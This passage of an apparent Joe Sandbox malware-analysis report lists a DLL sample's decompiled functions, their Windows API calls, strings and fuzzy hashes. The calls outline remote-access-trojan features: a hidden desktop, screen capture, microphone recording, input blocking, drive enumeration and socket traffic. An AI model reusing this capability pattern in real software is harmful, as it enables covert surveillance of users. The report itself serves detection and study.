Part of subcall function 1002C350: FindFirstFileA.KERNEL32(?,?,?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C411
Part of subcall function 1002C350: lstrcpy.KERNEL32(?,?), ref: 1002C455
Part of subcall function 1002C350: lstrcat.KERNEL32(?,10078558), ref: 1002C467
Part of subcall function 1002C350: lstrcat.KERNEL32(?,?), ref: 1002C47B
Part of subcall function 1002C350: lstrcpy.KERNEL32(?,?), ref: 1002C4A4
Part of subcall function 1002C350: lstrcat.KERNEL32(?,10078558), ref: 1002C4B6
Part of subcall function 1002C350: lstrcat.KERNEL32(?,?), ref: 1002C4CA

Strings

chrome.exe, xrefs: 1002D62B
D, xrefs: 1002D68E

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: lstrcat$lstrcpy$CreateDirectoryErrorFileLastwsprintf$AttributesFindFirstFolderInformationPathProcessVolumeWindows
String ID: D$chrome.exe
API String ID: 3681278241-23253965
Opcode ID: 2c03fc182a0ad5486635a3b9926effc1412543c093c58f195988cfab7cd9f53c
Instruction ID: 15f1bd375911359996dff94cee0e7117c08e48e32063d1784a0e201582aef879
Opcode Fuzzy Hash: 2c03fc182a0ad5486635a3b9926effc1412543c093c58f195988cfab7cd9f53c
Instruction Fuzzy Hash: 73611DB1D0022DAADB60EBA0DC45FDD77BCFB48304F505696B648A6081EF746B888F94

Function 100214A6 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 146registrythreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 100214CD

Part of subcall function 1002E840: VerifyVersionInfoW.KERNEL32(00000023), ref: 1002E8F1

RegOpenKeyExA.ADVAPI32(80000002,10079124,00000000,00020019,?), ref: 10021552
RegGetValueA.ADVAPI32(?,10076AB6,10076AB6,00000002,?,?,00000064), ref: 10021590
RegCloseKey.ADVAPI32(?), ref: 100215AD
CreateThread.KERNEL32(00000000,00000000,Function_0002E100,?,00000000,00000000), ref: 1002167D
CloseHandle.KERNEL32(?), ref: 1002169A

Strings

d, xrefs: 10021531

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: CloseCreate$EventHandleInfoOpenThreadValueVerifyVersion
String ID: d
API String ID: 2304768424-2564639436
Opcode ID: 5b38c763151371bf031fe29f1e883901f1e90fa44187d76b4507ec25094f149d
Instruction ID: 0b59b5de6b27c163732ab02d8f46c316abe42fad7e54ca7a8956f7cf9ad12c33
Opcode Fuzzy Hash: 5b38c763151371bf031fe29f1e883901f1e90fa44187d76b4507ec25094f149d
Instruction Fuzzy Hash: 6151AD71D40238AEEB21DF60DC45BEA7BB9EF04700F4040ABFA49A6192DB759E94CF51

Function 1002A050 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 83stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?,00000200), ref: 1002A0A2
lstrcpy.KERNEL32(?,100796B0), ref: 1002A0B8
wsprintfA.USER32 ref: 1002A0E4
_strstr.LIBCMT ref: 1002A135
_strstr.LIBCMT ref: 1002A15B

Strings

Enable, xrefs: 1002A12B
Disable, xrefs: 1002A151

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _strstr$ComputerNamelstrcpywsprintf
String ID: Disable$Enable
API String ID: 296541848-1261744749
Opcode ID: c7b564df3675de81f6352a4d599098a566770de5f326f083f9ed0b1c30d6b728
Instruction ID: 6934e42f89e9ac809b51f93920c07a8f94280ca3bd0675ecc5715ecc0d440299
Opcode Fuzzy Hash: c7b564df3675de81f6352a4d599098a566770de5f326f083f9ed0b1c30d6b728
Instruction Fuzzy Hash: F92127B4D403096BDF10DB609C4AFDA736DEB45705F4044D6FB08AB182EFB66B548BA4

Function 1005683D Relevance: 12.2, APIs: 8, Instructions: 204COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 10056867
_free.LIBCMT ref: 10056940
_free.LIBCMT ref: 1005696D

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 64422d3bc8fe90691881c3bcb23d12018d5f50c6e53eb6454067c556ed32d16a
Instruction ID: 7c83897640e8797439872514b9e8a5476071033841cb2a5a6d6ca014e50f18cf
Opcode Fuzzy Hash: 64422d3bc8fe90691881c3bcb23d12018d5f50c6e53eb6454067c556ed32d16a
Instruction Fuzzy Hash: 22512674D04201AFEB10DFA8AC81A5D7BF8FF09350F11816EE904E7282EA71A949CF51

Function 10026080 Relevance: 12.2, APIs: 8, Instructions: 197sleepmemorysynchronizationCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,10081068), ref: 100260D6
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000), ref: 1002610C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 10026117
Sleep.KERNEL32(00000096), ref: 10026122
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?), ref: 10026150
GetSystemMetrics.USER32(00000050), ref: 1002619E
EnumDisplayMonitors.USER32(00000000,00000000,Function_00025010,00000000), ref: 100261DB

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Virtual$AllocDisplayEnumFreeMetricsMonitorsObjectSingleSleepSystemWait
String ID:
API String ID: 2383587994-0
Opcode ID: bb3e193ba24adf121f69ad59f07e5aa0dabdec732a6fd69fd5905438baae685d
Instruction ID: 6045a29f2f492542641c46b8e818c3c20a61fb97dc052a67636913add13cbe6d
Opcode Fuzzy Hash: bb3e193ba24adf121f69ad59f07e5aa0dabdec732a6fd69fd5905438baae685d
Instruction Fuzzy Hash: 2D71E135A00614EFEB12CF64CC81F5A77B5FF49350F05826AF9056B292DB71B850CBA0

Function 10025680 Relevance: 12.2, APIs: 8, Instructions: 152threadsleeplibraryCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,10081068), ref: 100256D0
LoadCursorA.USER32(00000000,?), ref: 1002572B
Sleep.KERNEL32(00000001,00000008,00000000,?), ref: 10025786
LoadLibraryA.KERNEL32(10078790), ref: 100257AA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 100257F8
CreateThread.KERNEL32(00000000,00000000,10030AC0,10026080,00000000,00000000), ref: 10025812
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1002584E
CreateThread.KERNEL32(00000000,00000000,10030AC0,10026310,00000000,00000000), ref: 10025868

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Create$Event$LoadThread$CursorLibrarySleep
String ID:
API String ID: 4260334496-0
Opcode ID: 6a72a5383d11af6366eef8e668f0eca70c1c37063ba52816f244b8df7a3461a9
Instruction ID: c59a37a0acd5baca38e55ff48be4d35e87a7e4384eddb5524ec6f63c4d2b40a0
Opcode Fuzzy Hash: 6a72a5383d11af6366eef8e668f0eca70c1c37063ba52816f244b8df7a3461a9
Instruction Fuzzy Hash: 5A618D71944358EFFB01CFA4CC85B99BBB1FF08704F214269EA09AF291DBB56984CB50

Function 10029010 Relevance: 12.1, APIs: 8, Instructions: 134filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000), ref: 1002903B
GetFileSize.KERNEL32(00000000,00000000), ref: 10029051
CloseHandle.KERNEL32(00000000), ref: 1002905E
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 10029095
ReadFile.KERNEL32(?,00000000,00002004,?,00000000), ref: 100290BB
LocalAlloc.KERNEL32(00000040,00002005), ref: 1002913F
LocalFree.KERNEL32(00000000,00000000,00002005), ref: 10029169
CloseHandle.KERNEL32(?), ref: 1002917B

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreePointerReadSize
String ID:
API String ID: 1977366500-0
Opcode ID: 06862d6e628c96e44db61c450cfa86f673cef34714ca3d458c4b5ce58c6b00be
Instruction ID: 05b18666988b2d57f3d9217cb419e8f2545e93519f6cc1a37b70974b435602e6
Opcode Fuzzy Hash: 06862d6e628c96e44db61c450cfa86f673cef34714ca3d458c4b5ce58c6b00be
Instruction Fuzzy Hash: 58417E32C007586BE722CF35DC8AFABBBA9EF96294F414365FD4567152DB30A590C250

Function 10031900 Relevance: 12.1, APIs: 8, Instructions: 85threadCOMMON

Download Yara Rule

APIs

waveInStop.WINMM(?), ref: 10031917
waveInReset.WINMM(?), ref: 10031920
waveInUnprepareHeader.WINMM(?,?,00000020), ref: 10031937
waveInClose.WINMM(?), ref: 10031948
TerminateThread.KERNEL32(?,000000FF), ref: 10031958
waveOutReset.WINMM(?), ref: 10031967
waveOutUnprepareHeader.WINMM(?,?,00000020), ref: 1003197C
waveOutClose.WINMM(?), ref: 1003198D

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: wave$CloseHeaderResetUnprepare$StopTerminateThread
String ID:
API String ID: 1871795907-0
Opcode ID: fd4e554af39c1897f28da165c6ab7652b56a9fd56d6954aa3b48b62a1f540cdf
Instruction ID: 08e3d9819712ba9c06a7546ace4b7f6dbadf2f16f8b5ba78db8f21746d45bc26
Opcode Fuzzy Hash: fd4e554af39c1897f28da165c6ab7652b56a9fd56d6954aa3b48b62a1f540cdf
Instruction Fuzzy Hash: 3B319F31100712AFE7229F24CE49B4ABBF7FF09742F020525F542665B2CBB2B961CB90

Function 1002B6B0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 336memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400), ref: 1002B70B

Strings

error, xrefs: 1002B974

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: AllocLocal
String ID: error
API String ID: 3494564517-1574812785
Opcode ID: 0e30ff0be3cd7a99014f13caab1c895325d429850372a6cbc8d0d47899f38cad
Instruction ID: 87cf78f19df4f2e2c250e3477c2cb821f923a06f511105c26726402a03c4bf1c
Opcode Fuzzy Hash: 0e30ff0be3cd7a99014f13caab1c895325d429850372a6cbc8d0d47899f38cad
Instruction Fuzzy Hash: C1C13BB6D00628ABDB61CB60DC85FDBB7BDEF09306F0041D6E649E6141EA749BC48F64

Function 10033290 Relevance: 10.7, APIs: 7, Instructions: 157networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,00000000), ref: 10033335
recv.WS2_32(?,?,00002000,00000000), ref: 10033360
ioctlsocket.WS2_32(?,8004667E,?), ref: 1003338B
send.WS2_32(?,?,00000000,00000000), ref: 1003339E
recv.WS2_32(?,?,00002000,00000000), ref: 100333EB
ioctlsocket.WS2_32(?,8004667E,?), ref: 10033418
send.WS2_32(?,?,00000000,00000000), ref: 1003342D

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ioctlsocketrecvsend$select
String ID:
API String ID: 1327307048-0
Opcode ID: 906b029a5bb81f1d5f7c9af15fde3f840bd490723277665e90d1123524e3e764
Instruction ID: 1a011c778300417fe0c7fbce9278f550d2c3746ebfcbb5045af7473a90917cae
Opcode Fuzzy Hash: 906b029a5bb81f1d5f7c9af15fde3f840bd490723277665e90d1123524e3e764
Instruction Fuzzy Hash: 74517271D002299FE722CB248CC9BDA77FDEB54741F0281D5EA09EB251DB74AE948F90

Function 1001C910 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 80COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 1001C93D

Part of subcall function 1003AD97: RaiseException.KERNEL32(?,?,10037AE9,?,?,?,?,?,?,?,?,10037AE9,?,1007D1C4,?), ref: 1003ADF7

__CxxThrowException@8.LIBVCRUNTIME ref: 1001C97C
___std_exception_copy.LIBVCRUNTIME ref: 1001C9AF

Strings

ios_base::failbit set, xrefs: 1001C84F, 1001C951
ios_base::badbit set, xrefs: 1001C947, 1001C968, 1001C993
ios_base::eofbit set, xrefs: 1001C956

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3941765731-1866435925
Opcode ID: 63dcfda7d63d032f1716e17ffe55bac927f35aee516b518060a9ce598641b3a9
Instruction ID: d5e3de63c55628b19c2000d1a567c0787a8579addfb50cbf1d7ce839a7c90327
Opcode Fuzzy Hash: 63dcfda7d63d032f1716e17ffe55bac927f35aee516b518060a9ce598641b3a9
Instruction Fuzzy Hash: 9011E4B29007496FC300CF68C805F9AB3E8EF46311F44811AF9959B541EB74F984CB95

Function 1001E090 Relevance: 9.1, APIs: 6, Instructions: 118COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1001E0D0
std::_Lockit::_Lockit.LIBCPMT ref: 1001E0F2
std::_Lockit::~_Lockit.LIBCPMT ref: 1001E112
__Getctype.LIBCPMT ref: 1001E1AB
std::_Facet_Register.LIBCPMT ref: 1001E1CA
std::_Lockit::~_Lockit.LIBCPMT ref: 1001E1E2

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 681ceeaaed8dc5f2c49d00f6d9b9152a8584b6e4d5aeae72a770ffeea55858ee
Instruction ID: 062f07d219ea14dce69a777b7693e6c9c7997e40bd95c5e1246d68e40fed0c4c
Opcode Fuzzy Hash: 681ceeaaed8dc5f2c49d00f6d9b9152a8584b6e4d5aeae72a770ffeea55858ee
Instruction Fuzzy Hash: ED418D75E00699AFD712CF54CC81A9EB7F4FB08710F15416AE849AB252DB30FE84CB91

Function 10023910 Relevance: 9.1, APIs: 6, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32 ref: 10023946
LoadLibraryA.KERNEL32(100785E4), ref: 10023967
GetProcAddress.KERNEL32(00000000,100785F0), ref: 10023979
GetDiskFreeSpaceExA.KERNEL32(?,?,?,00000000), ref: 100239DF
GetDriveTypeA.KERNEL32(?), ref: 10023A15
FreeLibrary.KERNEL32(00000000), ref: 10023A80

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: DriveFreeLibrary$AddressDiskLoadLogicalProcSpaceStringsType
String ID:
API String ID: 4075051408-0
Opcode ID: b47d31fd8134c527ff1e60617c34d66e7240cd668a4117a9490562be075cbdf9
Instruction ID: 03fad9e3220ddd01e97f2f4d6930ad22e7b60cdc7a19972496df4d1f2e58c30c
Opcode Fuzzy Hash: b47d31fd8134c527ff1e60617c34d66e7240cd668a4117a9490562be075cbdf9
Instruction Fuzzy Hash: 8E41BF719083849FD321CF65D885B9BBBE9FFC9300F444A2EF6C983241DB7499448B62

Function 100273E0 Relevance: 9.1, APIs: 6, Instructions: 101stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(000001F4,?), ref: 10027422
QueryDosDeviceA.KERNEL32(?,?,00000064), ref: 1002748F
lstrlen.KERNEL32(?), ref: 1002749D
lstrcpy.KERNEL32(?,?), ref: 100274D2
lstrcpy.KERNEL32(?,?), ref: 100274F9
lstrcat.KERNEL32(?,?), ref: 10027509

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: lstrcpy$DeviceDriveLogicalQueryStringslstrcatlstrlen
String ID:
API String ID: 140800143-0
Opcode ID: 848fefb265b114799ff729f2bc1cb4dddf06a7e7de417f185b2ecd037655b320
Instruction ID: 39212c5b1d95f5b624ceb72d46171a3c8f4af5cb374dc271110dd4982a15aeee
Opcode Fuzzy Hash: 848fefb265b114799ff729f2bc1cb4dddf06a7e7de417f185b2ecd037655b320
Instruction Fuzzy Hash: 6531C671A0522D9FEB10DB659C84BEABBF9EF04241F4101E9E94CD3141DB359E44CB64

Function 10020650 Relevance: 9.1, APIs: 6, Instructions: 100libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(100782C8), ref: 1002066B
LoadLibraryW.KERNEL32(10077444), ref: 1002069E
GetProcAddress.KERNEL32(00000000,10077470), ref: 100206AC
LoadLibraryW.KERNEL32(100784DC), ref: 1002070B
GetProcAddress.KERNEL32(00000000,100784F8), ref: 10020717
CloseHandle.KERNEL32(?), ref: 10020731

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: LibraryLoad$AddressProc$CloseHandle
String ID:
API String ID: 3524107332-0
Opcode ID: 4e48f718020730475509d88cb472ff8b2e81a6571b290db39801417ef68355cd
Instruction ID: 1d61f272dd9ef774b40447da58156e128ff69bcde8841d39cf5c5990d459934a
Opcode Fuzzy Hash: 4e48f718020730475509d88cb472ff8b2e81a6571b290db39801417ef68355cd
Instruction Fuzzy Hash: D0318171E0021AABEB10DBF48C89FFFBBB9EB48211F114065FA05A7140DBB859448BA4

Function 10026310 Relevance: 9.1, APIs: 6, Instructions: 88windowkeyboardCOMMON

Download Yara Rule

APIs

EnumDisplaySettingsA.USER32(00000000,000000FF,?), ref: 1002636D
SystemParametersInfoA.USER32(00000056,00000001,00000000,00000000), ref: 100263AB
PostMessageA.USER32(0000FFFF,00000112,0000F170,00000002), ref: 100263C2
SystemParametersInfoA.USER32(00000056,00000000,00000000,00000000), ref: 100263E2
PostMessageA.USER32(0000FFFF,00000112,0000F170,000000FF), ref: 100263F9
BlockInput.USER32(00000000), ref: 1002641E

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: InfoMessageParametersPostSystem$BlockDisplayEnumInputSettings
String ID:
API String ID: 3716559231-0
Opcode ID: 686142ef5859ede20a165432fd72ce74a68c17b5a7763130732016e976f15d9a
Instruction ID: 547d89d1b1610af92eaf4cb319994f2e5b770b0a19f73efa71270f5cc1d548f1
Opcode Fuzzy Hash: 686142ef5859ede20a165432fd72ce74a68c17b5a7763130732016e976f15d9a
Instruction Fuzzy Hash: 1531F430B44354ABF721DB64DC86F6977E2EB09B20F914164F2559B1D2CBF0AD80CB65

Function 1002F100 Relevance: 9.1, APIs: 6, Instructions: 62threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1002F230: GetWindowsDirectoryA.KERNEL32(?,00000104,1006421C), ref: 1002F265
Part of subcall function 1002F230: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1002F2A6
Part of subcall function 1002F230: wsprintfA.USER32 ref: 1002F325

OpenDesktopA.USER32(1008C550,00000000,00000001,10000000), ref: 1002F17C
CreateDesktopA.USER32(1008C550,00000000,00000000,00000000,10000000,00000000), ref: 1002F199
SetThreadDesktop.USER32(00000000), ref: 1002F1A5
CreateThread.KERNEL32(00000000,00000000,Function_0002DEE0,?,00000000,00000000), ref: 1002F1BB
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1002F1C9
CloseHandle.KERNEL32 ref: 1002F1D5

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Desktop$CreateThread$CloseDirectoryHandleInformationObjectOpenSingleVolumeWaitWindowswsprintf
String ID:
API String ID: 324691535-0
Opcode ID: 3845cce9e9fde1723da69093afbd83c06e900c504b702d66fa7cf4dd953a814b
Instruction ID: 70b794907d896dd25518a96eb5c8d1c1de0bed7810abce98404e6e0b363124b4
Opcode Fuzzy Hash: 3845cce9e9fde1723da69093afbd83c06e900c504b702d66fa7cf4dd953a814b
Instruction Fuzzy Hash: C92127B0C50A28ABFF128FA4ED8AF153AB6F785345F104127F600956A1EBB135C48F99

Function 100558E7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 10055935
_free.LIBCMT ref: 10055A81

Strings

*?, xrefs: 1005592A

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: c968066907e81d68ffe4dad4d12aa97e1709e4bd35cae7e557639fc8d0fc980d
Instruction ID: fba09f8060e945c6895979ab2c3d8ad04f5f2383c5225b3efb0427b4f81040dd
Opcode Fuzzy Hash: c968066907e81d68ffe4dad4d12aa97e1709e4bd35cae7e557639fc8d0fc980d
Instruction Fuzzy Hash: 12613E75D0021A9FDB15CFA8C8919EDFBF5EF48360B25826AE845E7300E735AE458B90

Function 1001C830 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 1001C93D

Part of subcall function 1003AD97: RaiseException.KERNEL32(?,?,10037AE9,?,?,?,?,?,?,?,?,10037AE9,?,1007D1C4,?), ref: 1003ADF7

__CxxThrowException@8.LIBVCRUNTIME ref: 1001C97C
___std_exception_copy.LIBVCRUNTIME ref: 1001C9AF

Strings

ios_base::failbit set, xrefs: 1001C84F
ios_base::badbit set, xrefs: 1001C947, 1001C968, 1001C993

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3941765731-1240500531
Opcode ID: 98a6770c7ec57db31817461d9e8867c898c0e71c43d7be13d0378881151408d0
Instruction ID: 80cc92c63628d0bdec8218dea72c12e4770374f5c5bca51ca4acf6c1d373d1d9
Opcode Fuzzy Hash: 98a6770c7ec57db31817461d9e8867c898c0e71c43d7be13d0378881151408d0
Instruction Fuzzy Hash: 0541C3B1900649AFC704CF68C845F9EB7F9EF49320F14811AF555AB641EB74EA84CBA0

Function 100220B0 Relevance: 7.7, APIs: 5, Instructions: 229sleepCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 100220E4
VirtualFree.KERNEL32(?,00000000,00008000), ref: 100220F9
wsprintfA.USER32 ref: 100221B6
Sleep.KERNEL32(0000001E), ref: 100222C0
RtlLeaveCriticalSection.NTDLL(?), ref: 10022387

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveSleepVirtualwsprintf
String ID:
API String ID: 2944957049-0
Opcode ID: 9d552aa4cfdbc2bc1ebaec5f7d7154af41a66ed788ca5a29df126f9b8e99985e
Instruction ID: cb27c8ff20e7134111ae125e99d652656509788b6cb5d05c538d50ed42136d3f
Opcode Fuzzy Hash: 9d552aa4cfdbc2bc1ebaec5f7d7154af41a66ed788ca5a29df126f9b8e99985e
Instruction Fuzzy Hash: 75919071A00619ABEB14CFA8CC84B99B3A6FF48310F514269E80DD7690DB74ED55CF84

Function 1004F826 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1004D9EC: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 1004DA1E

_free.LIBCMT ref: 1004F935
_free.LIBCMT ref: 1004F94C
_free.LIBCMT ref: 1004F96B
_free.LIBCMT ref: 1004F986
_free.LIBCMT ref: 1004F99D

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: b32ee7ae031e735a09d92d7b03cfcc94aafdd2b44e5745457985b002a63f7e45
Instruction ID: db0cc29435beae4b768ec7cc4697f70b325c16d8fb72360fd7c0a4b7f0dde7b2
Opcode Fuzzy Hash: b32ee7ae031e735a09d92d7b03cfcc94aafdd2b44e5745457985b002a63f7e45
Instruction Fuzzy Hash: 9C51AD72A00205AFD711DF69DC81BBAB7F5EF48760F21456EE849DB251E731AD01CB88

Function 100234F0 Relevance: 7.6, APIs: 5, Instructions: 143stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,10081068), ref: 1002352E
lstrcpy.KERNEL32(00000000,?), ref: 1002354D
GetFileAttributesA.KERNEL32(00000000), ref: 100235DE
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 100235EC
GetLastError.KERNEL32 ref: 100235F6

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: AttributesCreateDirectoryErrorFileLastlstrcpylstrlen
String ID:
API String ID: 20055568-0
Opcode ID: dab6ccab855774077855ed387905f2eea14643219c8d08e528fc68d56d83d03d
Instruction ID: 89121dfa56694283c6479d63b2e1cd0b15255159a75d69954703029334b202f7
Opcode Fuzzy Hash: dab6ccab855774077855ed387905f2eea14643219c8d08e528fc68d56d83d03d
Instruction Fuzzy Hash: A4413DB1C046659FDB11CF5898407AEBFFAEF09690F90816AE8A593340D7755D028FE0

Function 1002110B Relevance: 7.6, APIs: 5, Instructions: 131sleepfileCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 10021132

Part of subcall function 1002A050: GetComputerNameA.KERNEL32(?,00000200), ref: 1002A0A2
Part of subcall function 1002A050: lstrcpy.KERNEL32(?,100796B0), ref: 1002A0B8
Part of subcall function 1002A050: wsprintfA.USER32 ref: 1002A0E4
Part of subcall function 1002A050: _strstr.LIBCMT ref: 1002A135

SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 10021195

Part of subcall function 10028F90: CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000,?,10064158), ref: 10028FBF
Part of subcall function 10028F90: GetFileSize.KERNEL32(00000000,00000000), ref: 10028FCE
Part of subcall function 10028F90: CloseHandle.KERNEL32(00000000), ref: 10028FE3

Sleep.KERNEL32(00000096), ref: 100211D6
CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000), ref: 100211F3
GetFileSize.KERNEL32(00000000,00000000), ref: 1002120D

Memory Dump Source

